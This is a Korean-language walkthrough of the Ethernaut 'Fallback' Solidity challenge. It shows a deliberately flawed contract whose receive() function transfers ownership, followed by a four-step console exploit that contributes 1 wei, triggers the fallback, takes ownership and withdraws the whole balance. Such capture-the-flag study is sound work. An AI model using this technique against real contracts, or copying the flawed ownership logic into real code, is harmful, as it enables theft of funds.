Ethernaut: 1. 폴백

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
    require(
      msg.sender == owner,
      "caller is not the owner"
    );
    _;
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}


수신 기능에 결함이 있습니다. 기여를 통해 일부 값을 전송한 다음 수신을 통해 소유자를 변경하기만 하면 됩니다. 기여에는 0.001 이더 미만이 필요하고 수신에는 0보다 큰 것으로 예상됩니다. 계획은 다음과 같습니다.
  • 1위를 기부하겠습니다.
  • 그런 다음 폴백 기능을 통해 컨트랙트 주소로 돈을 보낼 것입니다. 일부 에테르 값으로 계약에 존재하지 않는 함수를 호출하여 이를 수행할 수 있습니다.
  • 이제 우리가 주인입니다!
  • 최후의 일격을 가하기 위해 withdraw 함수를 호출합니다. 2Wei만 사용하여 소유자 잔액을 얻었습니다. :)

  • // (1) Contribute
    await contract.contribute({value: "1"})
    
    // (2) Fallback
    await contract.sendTransaction({
      from: player, 
      value: "1", 
      data: undefined // for the fallback
    })
    
    // (3) Confirm ownership
    await contract.owner()
    
    // (4) Withdraw
    await contract.withdraw()
    

    좋은 웹페이지 즐겨찾기